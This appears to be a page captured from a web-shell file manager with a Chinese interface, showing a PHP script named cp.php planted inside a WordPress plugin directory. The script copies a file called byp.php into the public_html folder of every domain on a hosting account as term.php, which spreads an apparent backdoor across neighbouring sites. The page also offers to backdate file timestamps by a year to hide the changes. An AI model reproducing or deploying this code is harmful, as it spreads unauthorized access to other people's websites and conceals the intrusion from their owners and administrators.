文件操作 - cp.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/xxxxx/src/ui/cp.php
编辑文件内容
<?php $source = __DIR__ . '/byp.php'; $baseDir = '/home/u817626328/domains/'; if (!file_exists($source)) { die('File sumber tidak ditemukan'); } $success = []; $failed = []; foreach (glob($baseDir . '/*/public_html') as $publicHtml) { $target = $publicHtml . '/term.php'; if (@copy($source, $target)) { $success[] = $target; } else { $failed[] = $target; } } echo "<h3>✅ Berhasil dipaste:</h3>"; if ($success) { echo "<ul>"; foreach ($success as $s) { echo "<li>$s</li>"; } echo "</ul>"; } else { echo "Tidak ada yang berhasil.<br>"; } echo "<h3>❌ Gagal:</h3>"; if ($failed) { echo "<ul>"; foreach ($failed as $f) { echo "<li>$f</li>"; } echo "</ul>"; } else { echo "Tidak ada kegagalan."; }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件